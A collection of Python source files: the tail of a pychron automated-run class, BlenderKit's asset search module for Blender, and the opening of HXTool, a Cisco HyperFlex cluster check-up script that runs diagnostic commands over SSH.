paths.extraction_dir, self.script_info.extraction_script_name, klass=klass
)
if ext is not None:
ext.automated_run = self
return ext
def _post_measurement_script_factory(self):
return self._ext_factory(
paths.post_measurement_dir, self.script_info.post_measurement_script_name
)
def _post_equilibration_script_factory(self):
return self._ext_factory(
paths.post_equilibration_dir,
self.script_info.post_equilibration_script_name,
)
def _ext_factory(self, root, file_name, klass=None):
file_name = self._make_script_name(file_name)
if os.path.isfile(os.path.join(root, file_name)):
if klass is None:
from pychron.pyscripts.extraction_line_pyscript import (
ExtractionPyScript,
)
klass = ExtractionPyScript
obj = klass(root=root, name=file_name, runner=self.runner)
return obj
def _make_script_name(self, name):
name = "{}_{}".format(self.spec.mass_spectrometer.lower(), name)
return add_extension(name, ".py")
def _setup_context(self, script):
"""
setup_context to expose variables to the pyscript
"""
ctx = self.spec.make_script_context()
script.setup_context(is_last=self.is_last, **ctx)
def _get_yaml_parameter(self, script, key, default):
if not script:
return default
m = ast.parse(script.text)
docstr = ast.get_docstring(m)
if docstr:
docstr = docstr.strip()
# self.debug('{} {} metadata\n{}'.format(script.name, key, docstr))
try:
params = yload(docstr)
return params[key]
except KeyError:
self.warning('No value "{}" in metadata'.format(key))
except TypeError:
self.warning(
'Invalid yaml docstring in "{}". Could not retrieve "{}"'.format(
script.name, key
)
)
else:
self.debug(
'No metadata section in "{}". Using default "{}" value for "{}"'.format(
script.name, default, key
)
)
return default
def _get_collector(self):
c = self.peak_hop_collector if self.is_peak_hop else self.multi_collector
return c
def _assemble_extraction_blob(self):
_names, txt = self._assemble_script_blob(
kinds=(EXTRACTION, POST_EQUILIBRATION, POST_MEASUREMENT)
)
return txt
def _assemble_script_blob(self, kinds=None):
if kinds is None:
kinds = SCRIPT_KEYS
okinds = []
bs = []
for s in kinds:
sc = getattr(self, "{}_script".format(s))
if sc is not None:
bs.append((sc.name, sc.toblob()))
okinds.append(s)
return assemble_script_blob(bs, kinds=okinds)
# ===============================================================================
# handlers
# ===============================================================================
def _runner_changed(self, new):
self.debug("Runner runner:{}".format(new))
for s in SCRIPT_NAMES:
sc = getattr(self, s)
if sc is not None:
setattr(sc, "runner", new)
# ===============================================================================
# defaults
# ===============================================================================
def _peak_hop_collector_default(self):
from pychron.experiment.automated_run.peak_hop_collector import PeakHopCollector
c = PeakHopCollector(console_display=self.console_display, automated_run=self)
return c
def _multi_collector_default(self):
from pychron.experiment.automated_run.multi_collector import MultiCollector
c = MultiCollector(console_display=self.console_display, automated_run=self)
return c
# ===============================================================================
# property get/set
# ===============================================================================
@property
def elapsed_ms_pumptime(self):
return time.time() - self.ms_pumptime_start
# ============= EOF =============================================
|
search.py | # ##### BEGIN GPL LICENSE BLOCK #####
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software Foundation,
# Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
#
# ##### END GPL LICENSE BLOCK #####
if "bpy" in locals():
import imp
imp.reload(paths)
imp.reload(utils)
imp.reload(categories)
imp.reload(ui)
imp.reload(version_checker)
else:
from blenderkit import paths, utils, categories, ui, version_checker
import blenderkit
from bpy.app.handlers import persistent
from bpy.props import ( # TODO only keep the ones actually used when cleaning
IntProperty,
FloatProperty,
FloatVectorProperty,
StringProperty,
EnumProperty,
BoolProperty,
PointerProperty,
)
from bpy.types import (
Operator,
Panel,
AddonPreferences,
PropertyGroup,
UIList
)
import requests, os, random
import time
import threading
import tempfile
import json
import bpy
search_start_time = 0
prev_time = 0
def check_errors(rdata):
if rdata.get('statusCode') == 401:
if rdata.get('detail') == 'Invalid token.':
# reset the api key, so it can be requested again.
user_preferences = bpy.context.preferences.addons['blenderkit'].preferences
user_preferences.api_key = ''
return False, 'Missing or wrong api_key in addon preferences'
return True, ''
search_threads = []
thumb_sml_download_threads = {}
thumb_full_download_threads = {}
reports = ''
@persistent
def scene_load(context):
wm = bpy.context.window_manager
fetch_server_data()
# following doesn't necessarilly happen if version isn't checked yet or similar, first run.
wm['bkit_update'] = version_checker.compare_versions(blenderkit)
utils.load_categories()
def fetch_server_data():
''' download categories and addon version'''
user_preferences = bpy.context.preferences.addons['blenderkit'].preferences
url = paths.BLENDERKIT_ADDON_URL
api_key = user_preferences.api_key
# version_checker.check_version_thread(url, api_key, blenderkit)
categories.fetch_categories_thread(api_key)
@bpy.app.handlers.persistent
def timer_update(): # TODO might get moved to handle all blenderkit stuff.
global search_threads
# don't do anything while dragging - this could switch asset type during drag, and make results list lenght different,
# causing a lot of throuble literally.
if len(search_threads) == 0 or bpy.context.scene.blenderkitUI.dragging:
return 1
for thread in search_threads: # TODO this doesn't check all processess when removal... mostly 1 process will be running however.
if not thread[0].is_alive():
search_threads.remove(thread) #
icons_dir = thread[1]
scene = bpy.context.scene
# these 2 lines should update the previews enum and set the first result as active.
s = bpy.context.scene
asset_type = thread[2]
if asset_type == 'model':
props = scene.blenderkit_models
json_filepath = os.path.join(icons_dir, 'model_searchresult.json')
search_name = 'bkit model search'
if asset_type == 'scene':
props = scene.blenderkit_scene
json_filepath = os.path.join(icons_dir, 'scene_searchresult.json')
search_name = 'bkit scene search'
if asset_type == 'material':
props = scene.blenderkit_mat
json_filepath = os.path.join(icons_dir, 'material_searchresult.json')
search_name = 'bkit material search'
if asset_type == 'brush':
props = scene.blenderkit_brush
json_filepath = os.path.join(icons_dir, 'brush_searchresult.json')
search_name = 'bkit brush search'
s[search_name] = []
global reports
if reports != '':
props.report = str(reports)
return .2
with open(json_filepath, 'r') as data_file:
rdata = json.load(data_file)
result_field = []
ok, error = check_errors(rdata)
if ok:
for r in rdata['results']:
if r['assetType'] == asset_type:
# print(r)
if len(r['files']) > 0:
furl = None
tname = None
allthumbs = []
durl, tname = None, None
for f in r['files']:
if f['fileType'] == 'thumbnail':
tname = paths.extract_filename_from_url(f['fileThumbnailLarge'])
small_tname = paths.extract_filename_from_url(f['fileThumbnail'])
allthumbs.append(tname) # TODO just first thumb is used now.
tdict = {}
for i, t in enumerate(allthumbs):
tdict['thumbnail_%i'] = t
if f['fileType'] == 'blend':
durl = f['downloadUrl'].split('?')[0]
# fname = paths.extract_filename_from_url(f['filePath'])
if durl and tname:
tooltip = generate_tooltip(r)
# utils.pprint(print(r))
asset_data = {'thumbnail': tname,
'thumbnail_small': small_tname,
# 'thumbnails':allthumbs,
'download_url': durl,
'id': r['id'],
'asset_base_id': r['assetBaseId'],
'name': r['name'],
'asset_type': r['assetType'],
'tooltip': tooltip,
'tags': r['tags'],
'can_download': r.get('canDownload', True),
'verification_status': r['verificationStatus']
# 'description': r['description'],
# 'author': r['description'],
}
asset_data['downloaded'] = 0
# parse extra params needed for blender here
params = params_to_dict(r['parameters'])
if asset_type == 'model':
if params.get('boundBoxMinX') != None:
bbox = {
'bbox_min': (
float(params['boundBoxMinX']),
float(params['boundBoxMinY']),
float(params['boundBoxMinZ'])),
'bbox_max': (
float(params['boundBoxMaxX']),
float(params['boundBoxMaxY']),
float(params['boundBoxMaxZ']))
}
else:
bbox = {
'bbox_min': (-.5, -.5, 0),
'bbox_max': (.5, .5, 1)
}
asset_data.update(bbox)
if asset_type == 'material':
asset_data['texture_size_meters'] = params.get('textureSizeMeters', 1.0)
asset_data.update(tdict)
if r['assetBaseId'] in scene.get('assets used', {}).keys():
asset_data['downloaded'] = 100
result_field.append(asset_data)
# results = rdata['results']
s[search_name] = result_field
s['search results'] = result_field
s['search results orig'] = rdata
load_previews()
ui_props = bpy.context.scene.blenderkitUI
if len(result_field) < ui_props.scrolloffset:
ui_props.scrolloffset = 0
props.is_searching = False
props.search_error = False
props.report = 'Open assetbar to see %i results. ' % len(s['search results'])
if len(s['search results']) == 0:
props.report = 'No matching results found.'
# (rdata['next'])
# if rdata['next'] != None:
# search(False, get_next = True)
else:
print('error', error)
props.report = error
props.search_error = True
# print('finished search thread')
mt('preview loading finished')
return .2
def load_previews():
mappingdict = {
'MODEL': 'model',
'SCENE': 'scene',
'MATERIAL': 'material',
'TEXTURE': 'texture',
'BRUSH': 'brush'
}
scene = bpy.context.scene
# FIRST START SEARCH
props = scene.blenderkitUI
directory = paths.get_temp_dir('%s_search' % mappingdict[props.asset_type])
s = bpy.context.scene
results = s.get('search results')
#
if results is not None:
inames = []
tpaths = []
i = 0
for r in results:
tpath = os.path.join(directory, r['thumbnail_small'])
iname = utils.previmg_name(i)
if os.path.exists(tpath): # sometimes we are unlucky...
img = bpy.data.images.get(iname)
if img is None:
img = bpy.data.images.load(tpath)
img.name = iname
elif img.filepath != tpath:
# had to add this check for autopacking files...
if img.packed_file is not None:
img.unpack(method='USE_ORIGINAL')
img.filepath = tpath
img.reload()
i += 1
# print('previews loaded')
# line splitting for longer texts...
def split_subs(text):
if text == '':
return []
threshold = 40
text = text.rstrip()
lines = []
while len(text) > threshold:
i = text.rfind(' ', 0, threshold)
i1 = text.rfind(',', 0, threshold)
i = max(i, i1)
if i == -1:
i = threshold
lines.append(text[:i])
text = text[i:]
lines.append(text)
return lines
def list_to_str(input):
output = ''
for i, text in enumerate(input):
output += text
if i < len(input) - 1:
output += ', '
return output
def writeblock(t, input): # for longer texts
dlines = split_subs(input)
for i, l in enumerate(dlines):
t += '%s\n' % l
return t
def writeblockm(tooltip, mdata, key='', pretext=None): # for longer texts
if mdata.get(key) == None:
return tooltip
else:
intext = mdata[key]
if type(intext) == list:
intext = list_to_str(intext)
intext = str(intext)
if intext.rstrip() == '':
return tooltip
if pretext == None:
pretext = key
if pretext != '':
pretext = pretext + ': '
text = pretext + intext
dlines = split_subs(text)
for i, l in enumerate(dlines):
tooltip += '%s\n' % l
return tooltip
def fmt_length(prop):
prop = str(round(prop, 2)) + 'm'
return prop
def has(mdata, prop):
if mdata.get(prop) is not None and mdata[prop] is not None and mdata[prop] is not False:
return True
else:
return False
def params_to_dict(params):
params_dict = {}
for p in params:
params_dict[p['parameterType']] = p['value']
return params_dict
def generate_tooltip(mdata):
if type(mdata['parameters']) == list:
mparams = params_to_dict(mdata['parameters'])
else:
mparams = mdata['parameters']
t = ''
t = writeblock(t, mdata['name'])
t = writeblockm(t, mdata, key='description', pretext='')
if mdata['description'] != '':
t += '\n'
bools = (('rig', None), ('animated', None), ('manifold', 'non-manifold'), ('scene', None), ('simulation', None),
('uv', None))
for b in bools:
if mparams.get(b[0]):
mdata['tags'].append(b[0])
elif b[1] != None:
mdata['tags'].append(b[1])
bools_data = ('adult',)
for b in bools_data:
if mdata.get(b) and mdata[b]:
mdata['tags'].append(b)
t = writeblockm(t, mparams, key='designer', pretext='designer')
t = writeblockm(t, mparams, key='manufacturer', pretext='manufacturer')
t = writeblockm(t, mparams, key='designCollection', pretext='design collection')
# t = writeblockm(t, mparams, key='engines', pretext='engine')
# t = writeblockm(t, mparams, key='model_style', pretext='style')
# t = writeblockm(t, mparams, key='material_style', pretext='style')
# t = writeblockm(t, mdata, key='tags')
# t = writeblockm(t, mparams, key='condition', pretext='condition')
# t = writeblockm(t, mparams, key='productionLevel', pretext='production level')
if has(mdata, 'purePbr'):
t = writeblockm(t, mparams, key='pbrType', pretext='pbr')
t = writeblockm(t, mparams, key='designYear', pretext='design year')
if has(mparams, 'dimensionX'):
t += 'size: %s, %s, %s\n' % (fmt_length(mparams['dimensionX']),
fmt_length(mparams['dimensionY']),
fmt_length(mparams['dimensionZ']))
if has(mparams, 'faceCount'):
t += 'face count: %s, render: %s\n' % (mparams['faceCount'], mparams['faceCountRender'])
# t = writeblockm(t, mparams, key='meshPolyType', pretext='mesh type')
# t = writeblockm(t, mparams, key='objectCount', pretext='nubmber of objects')
# t = writeblockm(t, mparams, key='materials')
# t = writeblockm(t, mparams, key='modifiers')
# t = writeblockm(t, mparams, key='shaders')
if has(mparams, 'textureSizeMeters'):
t = writeblockm(t, mparams, key='textureSizeMeters', pretext='texture size in meters')
if has(mparams, 'textureResolutionMax') and mparams['textureResolutionMax'] > 0:
if mparams['textureResolutionMin'] == mparams['textureResolutionMax']:
t = writeblockm(t, mparams, key='textureResolutionMin', pretext='texture resolution')
else:
t += 'tex resolution: %i - %i\n' % (mparams['textureResolutionMin'], mparams['textureResolutionMax'])
if has(mparams, 'thumbnailScale'):
t = writeblockm(t, mparams, key='thumbnailScale', pretext='preview scale')
# t += 'uv: %s\n' % mdata['uv']
t += '\n'
# t = writeblockm(t, mdata, key='license')
# generator is for both upload preview and search, this is only after search
if mdata.get('versionNumber'):
# t = writeblockm(t, mdata, key='versionNumber', pretext='version')
t += 'author: %s %s\n' % (mdata['author']['firstName'], mdata['author']['lastName'])
# t += '\n'
at = mdata['assetType']
t += '\n'
if at == 'brush' or at == 'texture':
t += 'click to link %s' % mdata['assetType']
if at == 'model' or at == 'material':
t += 'click or drag in scene to link/append %s' % mdata['assetType']
return t
def get_items_models(self, context):
global search_items_models
return search_items_models
def get_items_brushes(self, context):
global search_items_brushes
return search_items_brushes
def get_items_materials(self, context):
global search_items_materials
return search_items_materials
def get_items_textures(self, context):
global search_items_textures
return search_items_textures
class ThumbDownloader(threading.Thread):
query = None
def __init__(self, url, path):
super(ThumbDownloader, self).__init__()
self.url = url
self.path = path
self._stop_event = threading.Event()
def stop(self):
self._stop_event.set()
def stopped(self):
return self._stop_event.is_set()
def run(self):
r = requests.get(self.url, stream=False)
if r.status_code == 200:
with open(self.path, 'wb') as f:
f.write(r.content)
# ORIGINALLY WE DOWNLOADED THUMBNAILS AS STREAM, BUT THIS WAS TOO SLOW.
# with open(path, 'wb') as f:
# for chunk in r.iter_content(1048576*4):
# f.write(chunk)
class Searcher(threading.Thread):
query = None
def __init__(self, query, params):
super(Searcher, self).__init__()
self.query = query
self.params = params
self._stop_event = threading.Event()
def stop(self):
self._stop_event.set()
def stopped(self):
return self._stop_event.is_set()
def run(self):
maxthreads = 300
maximages = 50
query = self.query
params = self.params
global reports
t = time.time()
mt('search thread started')
tempdir = paths.get_temp_dir('%s_search' % query['asset_type'])
json_filepath = os.path.join(tempdir, '%s_searchresult.json' % query['asset_type'])
headers = utils.get_headers(query['token'])
rdata = {}
rdata['results'] = []
if params['get_next']:
with open(json_filepath, 'r') as infile:
try:
origdata = json.load(infile)
urlquery = origdata['next']
if urlquery == None:
return;
except:
# in case no search results found on drive we don't do next page loading.
params['get_next'] = False
if not params['get_next']:
# build a new request
url = paths.get_bkit_url() + 'search/'
nquery = {
# 'tags': query['keywords'],
'asset_type': query['asset_type'],
}
if query.get('category'):
nquery['category_subtree'] = query['category']
# build request manually
# TODO use real queries
requeststring = '?query=' + query['keywords'].lower() + '+'
#
for i, q in enumerate(nquery):
requeststring += q + ':' + str(nquery[q])
if i < len(nquery) - 1:
requeststring += '+'
requeststring += '&addon_version=%s' % params['addon_version']
if params.get('scene_uuid') is not None:
requeststring += '&scene_uuid=%s' % params['scene_uuid']
urlquery = url + requeststring
try:
# print(urlquery)
r = requests.get(urlquery, headers=headers)
reports = ''
# print(r.text)
except requests.exceptions.RequestException as e:
print(e)
reports = e
# props.report = e
return
mt('response is back ')
try:
rdata = r.json()
except Exception as inst:
reports = r.text
print(inst)
mt('data parsed ')
# filter results here:
# todo remove this in future
nresults = []
for d in rdata.get('results', []):
# TODO this code is for filtering brush types, should vanish after we implement filter in Elastic
mode = None
if query['asset_type'] == 'brush':
for p in d['parameters']:
if p['parameterType'] == 'mode':
mode = p['value']
if query['asset_type'] != 'brush' or (
query.get('brushType') != None and query['brushType']) == mode:
nresults.append(d)
rdata['results'] = nresults
# print('number of results: ', len(rdata.get('results', [])))
if self.stopped():
print('stopping search : ' + query['keywords'])
return
mt('search finished')
i = 0
thumb_small_urls = []
thumb_small_filepaths = []
thumb_full_urls = []
thumb_full_filepaths = []
# END OF PARSING
for d in rdata.get('results', []):
for f in d['files']:
# TODO move validation of published assets to server, too manmy checks here.
if f['fileType'] == 'thumbnail' and f['fileThumbnail'] != None and f['fileThumbnailLarge'] != None:
if f['fileThumbnail'] == None:
f['fileThumbnail'] = 'NONE'
if f['fileThumbnailLarge'] == None:
f['fileThumbnailLarge'] = 'NONE'
thumb_small_urls.append(f['fileThumbnail'])
thumb_full_urls.append(f['fileThumbnailLarge'])
imgname = paths.extract_filename_from_url(f['fileThumbnail'])
imgpath = os.path.join(tempdir, imgname)
thumb_small_filepaths.append(imgpath)
imgname = paths.extract_filename_from_url(f['fileThumbnailLarge'])
imgpath = os.path.join(tempdir, imgname)
thumb_full_filepaths.append(imgpath)
sml_thbs = zip(thumb_small_filepaths, thumb_small_urls)
full_thbs = zip(thumb_full_filepaths, thumb_full_urls)
# we save here because a missing thumbnail check is in the previous loop
# we can also prepend previous results. These have allready thumbnails downloaded...
if params['get_next']:
rdata['results'][0:0] = origdata['results']
with open(json_filepath, 'w') as outfile:
json.dump(rdata, outfile)
killthreads_sml = []
for k in thumb_sml_download_threads.keys():
if k not in thumb_small_filepaths:
killthreads_sml.append(k) # do actual killing here?
killthreads_full = []
for k in thumb_full_download_threads.keys():
if k not in thumb_full_filepaths:
killthreads_full.append(k) # do actual killing here?
# TODO do the killing/ stopping here! remember threads might have finished inbetween!
if self.stopped():
print('stopping search : ' + query['keywords'])
return
# this loop handles downloading of small thumbnails
for imgpath, url in sml_thbs:
if imgpath not in thumb_sml_download_threads and not os.path.exists(imgpath):
thread = ThumbDownloader(url, imgpath)
# thread = threading.Thread(target=download_thumbnail, args=([url, imgpath]),
# daemon=True)
thread.start()
thumb_sml_download_threads[imgpath] = thread
# threads.append(thread)
if len(thumb_sml_download_threads) > maxthreads:
while len(thumb_sml_download_threads) > maxthreads:
threads_copy = thumb_sml_download_threads.copy() # because for loop can erase some of the items.
for tk, thread in threads_copy.items():
if not thread.is_alive():
thread.join()
# print(x)
del (thumb_sml_download_threads[tk])
# print('fetched thumbnail ', i)
i += 1
if self.stopped():
print('stopping search : ' + query['keywords'])
return
idx = 0
while len(thumb_sml_download_threads) > 0:
threads_copy = thumb_sml_download_threads.copy() # because for loop can erase some of the items.
for tk, thread in threads_copy.items():
if not thread.is_alive():
thread.join()
del (thumb_sml_download_threads[tk])
i += 1
if self.stopped():
print('stopping search : ' + query['keywords'])
return
# start downloading full thumbs in the end
for imgpath, url in full_thbs:
if imgpath not in thumb_full_download_threads and not os.path.exists(imgpath):
thread = ThumbDownloader(url, imgpath)
# thread = threading.Thread(target=download_thumbnail, args=([url, imgpath]),
# daemon=True)
thread.start()
thumb_full_download_threads[imgpath] = thread
mt('thumbnails finished')
def build_query_common(query, props):
user_preferences = bpy.context.preferences.addons['blenderkit'].preferences
query_common = {
"token": user_preferences.api_key,
"keywords": props.search_keywords
}
query.update(query_common)
# def query_add_range(query, name, rmin, rmax):
def build_query_model():
'''use all search input to request results from server'''
props = bpy.context.scene.blenderkit_models
query = {
"asset_type": 'model',
"engine": props.search_engine,
"adult": props.search_adult,
}
if props.search_style != 'ANY':
if props.search_style != 'OTHER':
query["style"] = props.search_style
else:
query["style"] = props.search_style_other
if props.search_advanced:
if props.search_condition != 'UNSPECIFIED':
query["condition"] = props.search_condition
if props.search_design_year:
query["designYearMin"] = props.search_design_year_min
query["designYearMax"] = props.search_design_year_max
if props.search_polycount:
query["polyCountMin"] = props.search_polycount_min
query["polyCountMax"] = props.search_polycount_max
if props.search_texture_resolution:
query["textureResolutionMin"] = props.search_texture_resolution_min
query["textureResolutionMax"] = props.search_texture_resolution_max
build_query_common(query, props)
# query = {
# "query": {
# "exists": {"field": "faceCount"},
#
# "range": {
#
# "faceCount": {
# "gte": query["polyCountMin"],
# "lte": query["polyCountMax"],
# "boost": 2.0
# }
#
# },
#
# "match": {
# "asset_type": 'model',
# }
#
# }
# }
return query
def build_query_scene():
'''use all search input to request results from server'''
props = bpy.context.scene.blenderkit_scene
query = {
"asset_type": 'scene',
"engine": props.search_engine,
# "adult": props.search_adult,
}
build_query_common(query, props)
return query
def build_query_material():
props = bpy.context.scene.blenderkit_mat
query = {
"asset_type": 'material',
}
if props.search_engine == 'NONE':
query["engine"] = ''
if props.search_engine != 'OTHER':
query["engine"] = props.search_engine
else:
query["engine"] = props.search_engine_other
if props.search_style != 'ANY':
if props.search_style != 'OTHER':
query["style"] = props.search_style
else:
query["style"] = props.search_style_other
build_query_common(query, props)
return query
def build_query_texture():
props = bpy.context.scene.blenderkit_tex
query = {
"asset_type": 'texture',
}
if props.search_style != 'ANY':
if props.search_style != 'OTHER':
query["search_style"] = props.search_style
else:
query["search_style"] = props.search_style_other
build_query_common(query, props)
return query
def build_query_brush():
props = bpy.context.scene.blenderkit_brush
brush_type = ''
if bpy.context.sculpt_object is not None:
brush_type = 'sculpt'
elif bpy.context.image_paint_object: # could be just else, but for future p
brush_type = 'texture_paint'
query = {
"asset_type": 'brush',
"brushType": brush_type
}
build_query_common(query, props)
return query
def mt(text):
global search_start_time, prev_time
alltime = time.time() - search_start_time
since_last = time.time() - prev_time
prev_time = time.time()
print(text, alltime, since_last)
def add_search_process(query, params):
global search_threads
while (len(search_threads) > 0):
old_thread = search_threads.pop(0)
old_thread[0].stop()
# TODO CARE HERE FOR ALSO KILLING THE THREADS...AT LEAST NOW SEARCH DONE FIRST WON'T REWRITE AN OLDER ONE
tempdir = paths.get_temp_dir('%s_search' % query['asset_type'])
thread = Searcher(query, params)
# thread = threading.Thread(target=Searcher, args=([query]), daemon=True)
thread.start()
search_threads.append([thread, tempdir, query['asset_type']])
mt('thread started')
def search(own=False, category='', get_next=False, free_only=False):
''' initialize searching'''
global search_start_time
search_start_time = time.time()
mt('start')
scene = bpy.context.scene
uiprops = scene.blenderkitUI
if uiprops.asset_type == 'MODEL':
if not hasattr(scene, 'blenderkit'):
return;
props = scene.blenderkit_models
query = build_query_model()
if uiprops.asset_type == 'SCENE':
if not hasattr(scene, 'blenderkit_scene'):
return;
props = scene.blenderkit_scene
query = build_query_scene()
if uiprops.asset_type == 'MATERIAL':
if not hasattr(scene, 'blenderkit_mat'):
return;
props = scene.blenderkit_mat
query = build_query_material()
if uiprops.asset_type == 'TEXTURE':
if not hasattr(scene, 'blenderkit_tex'):
return;
# props = scene.blenderkit_tex
# query = build_query_texture()
if uiprops.asset_type == 'BRUSH':
if not hasattr(scene, 'blenderkit_brush'):
return;
props = scene.blenderkit_brush
query = build_query_brush()
if props.is_searching and get_next == True:
return;
query['own'] = own
if category != '':
query['category'] = category
# print('searching')
props.is_searching = True
params = {
'scene_uuid': bpy.context.scene.get('uuid', None),
'addon_version': version_checker.get_addon_version(),
'get_next': get_next
}
if free_only:
query['keywords'] += '+is_free:true'
add_search_process(query, params)
props.report = 'BlenderKit searching....'
def search_update(self, context):
if self.search_keywords != '':
search()
class SearchOperator(Operator):
"""Tooltip"""
bl_idname = "view3d.blenderkit_search"
bl_label = "BlenderKit asset search"
own: BoolProperty(name="own assets only",
description="Find all own assets",
default=False)
category: StringProperty(
name="category",
description="search only subtree of this category",
default="")
get_next: BoolProperty(name="next page",
description="get next page from previous search",
default=False)
@classmethod
def poll(cls, context):
return True
def execute(self, context):
search(own=self.own, category=self.category, get_next=self.get_next)
bpy.ops.view3d.blenderkit_asset_bar()
return {'FINISHED'}
classes = [
SearchOperator
]
def register_search():
bpy.app.handlers.load_post.append(scene_load)
for c in classes:
bpy.utils.register_class(c)
# bpy.app.timers.register(timer_update, persistent = True)
utils.load_categories()
def unregister_search():
bpy.app.handlers.load_post.remove(scene_load)
for c in classes:
bpy.utils.unregister_class(c)
# bpy.app.timers.unregister(timer_update)
'''
search -
build query
START THREAD
send query (bg allready)
get result - metadata, small thumbnails, big thumbnails paths (now genereate this?)
write metadata, possibly to
download small thumbnails first
start big thumbnails download. these don't have to be there on updates, if they aren't the Image in image editor doesn't get updated.
parse metadata, save it in json in the temp dir which gets read on each update of the search.
END THREAD
when download is triggered, get also this metadata from json. E
pass this single - item metadata in the download functions, threads.
'''
|
HXTool.py | # -*- coding: utf-8 -*-
"""
Created on Fri Mar 9 13:22:07 2018
Updated on Thu May 9
@author: Kiranraj(kjogleka), Himanshu(hsardana), Komal(kpanzade), Avinash (avshukla)
"""
import warnings
warnings.filterwarnings(action='ignore', module='.*paramiko.*')
import subprocess
import paramiko
import threading
import time
import datetime
import logging
import sys
import os
import shutil
import getpass
import re
from prettytable import PrettyTable, ALL
from collections import OrderedDict
from progressbar import ProgressBarThread
from multiprocessing import Process
######################## Logger #################################
INFO = logging.INFO
DEBUG = logging.DEBUG
ERROR = logging.ERROR
def get_date_time():
return (datetime.datetime.now().strftime("%d-%m-%Y_%I-%M-%S %p"))
def log_start(log_file, log_name, lvl):
# Create a folder
cdate = datetime.datetime.now()
dir_name = "HX_Report_" + str(cdate.strftime("%d_%m_%Y_%H_%M"))
try:
os.makedirs(dir_name)
except FileExistsError:
shutil.rmtree(dir_name)
os.makedirs(dir_name)
os.chdir(dir_name)
# Configure logger file handler
global logger
log_level = lvl
logger = logging.getLogger(log_name)
logger.setLevel(log_level)
# Create a file handler
handler = logging.FileHandler(log_file)
handler.setLevel(log_level)
# Create a logging format
formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s', '%m-%d-%Y %I:%M:%S %p')
handler.setFormatter(formatter)
# Add the handlers to the logger
logger.addHandler(handler)
msg = "HX Checkup Tool Started at Date/Time :" + get_date_time().replace("_", "/") + "\r"
global start_time
start_time = datetime.datetime.now()
logger.info(msg)
# log_msg("", msg)
logger.info("Logger Initialized\r")
def log_stop():
# Shutdown the logger handler
# log_msg(INFO, "Shutdown the logger")
logging.shutdown()
def log_entry(cmd_name):
# Each function will call this in the beginning to enter any DEBUG info
logger.log(DEBUG, 'Entered command :' + cmd_name + "\r")
def log_exit(cmd_name):
# Each function will call this in the end, to enter any DEBUG info
logger.log(DEBUG, 'Exited command :' + cmd_name + "\r")
def log_msg(lvl, *msgs):
# Each function will call this to enter any INFO msg
msg = ""
if len(msgs) > 1:
for i in msgs:
msg = msg + str(i) + "\r\n"
msg.rstrip("\r\n")
else:
for i in msgs:
msg = msg + str(i)
# Print on Console & log
for line in msg.split("\r\n"):
if lvl == "" and line != "":
print(line)
elif line != "":
logger.log(lvl, line)
def sys_exit(val):
# Exit the logger and stop the script, used for traceback error handling
log_msg(INFO, "Closing logger and exiting the application\r")
msg = "HX Checkup Tool Stopped at Date/Time :" + get_date_time().replace("_", "/") + "\r"
log_msg(INFO, msg)
end_time = datetime.datetime.now()
time_diff = end_time - start_time
msg = "Test duration: " + str(time_diff.seconds) + " seconds"
log_msg(INFO, msg)
# log_msg("", msg)
log_stop()
sys.exit(val)
#################### SSH connection #####################
def runcmd(cmd):
# Execute local shell command
log_entry(cmd)
log_msg(INFO, "$" * 61 + "\r")
log_msg(INFO, "\r\nExecuting Shell command: " + cmd + "\r")
p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
cmdoutput, err = p.communicate()
p_status = p.wait()
output = cmdoutput.split("\n")
log_msg(INFO, "*" * 24 + " CMD OUTPUT " + "*" * 24 + "\r")
for line in output:
log_msg(INFO, str(line) + "\r")
log_msg(INFO, "*" * 61 + "\r")
return cmdoutput
def execmd(cmd):
# Execute command
log_entry(cmd)
log_msg(INFO, "#" * 61 + "\r")
log_msg(INFO, "\r\nExecuting command: " + cmd + "\r")
stdin, stdout, stderr = client.exec_command(cmd)
while not stdout.channel.exit_status_ready():
time.sleep(1)
response = stdout.channel.exit_status
output = []
if response == 0:
for line in stdout:
output.append(line.strip())
else:
for line in stderr:
output.append(line.strip())
output.insert(0, "Not able to run the command")
log_msg(INFO, "*" * 24 + " CMD OUTPUT " + "*" * 24 + "\r")
for line in output:
log_msg(INFO, line + "\r")
log_msg(INFO, "*" * 61 + "\r")
log_exit(cmd)
return output
def thread_geteth0ip(ip, hxusername, hxpassword, time_out):
try:
# Initiate SSH Connection
client.connect(hostname=ip, username=hxusername, password=hxpassword, timeout=time_out)
msg = "\r\nSSH connection established to HX Cluster: " + ip + "\r"
log_msg(INFO, msg)
# log_msg("", msg)
# cmd = "hostname -i"
cmd = "ifconfig eth0 | grep 'inet addr:' | cut -d: -f2| cut -d' ' -f1"
hxip = execmd(cmd)
hxips.extend(hxip)
client.close()
except Exception as e:
msg = "\r\nNot able to establish SSH connection to HX Cluster: " + ip + "\r"
log_msg(INFO, msg)
log_msg("", msg)
log_msg(ERROR, str(e) + "\r")
def thread_sshconnect(ip, hxusername, hxpassword, time_out):
hostd[str(ip)] = dict.fromkeys(["hostname", "date", "ntp source", "eth1", "esxip" "vmk0", "vmk1"], "")
try:
# Initiate SSH Connection
client.connect(hostname=ip, username=hxusername, password=hxpassword, timeout=time_out)
msg = "\r\nSSH connection established to HX Cluster: " + ip + "\r"
log_msg(INFO, msg)
log_msg("", msg)
# Check hostname
try:
cmd = "hostname"
hname = execmd(cmd)
hostd[ip]["hostname"] = ("".join(hname)).encode("ascii", "ignore")
except Exception as e:
log_msg(ERROR, str(e) + "\r")
# Check date
try:
cmd = 'date "+%D %T"'
hdate = execmd(cmd)
hostd[ip]["date"] = ("".join(hdate)).encode("ascii", "ignore")
except Exception as e:
log_msg(ERROR, str(e) + "\r")
# Check NTP source
try:
cmd = "stcli services ntp show"
hntp = execmd(cmd)
hostd[ip]["ntp source"] = ("".join(hntp)).encode("ascii", "ignore")
except Exception as e:
log_msg(ERROR, str(e) + "\r")
# Get eth1 IP Address
try:
cmd = "ifconfig eth1 | grep 'inet addr:' | cut -d: -f2| cut -d' ' -f1"
eth1ip = execmd(cmd)
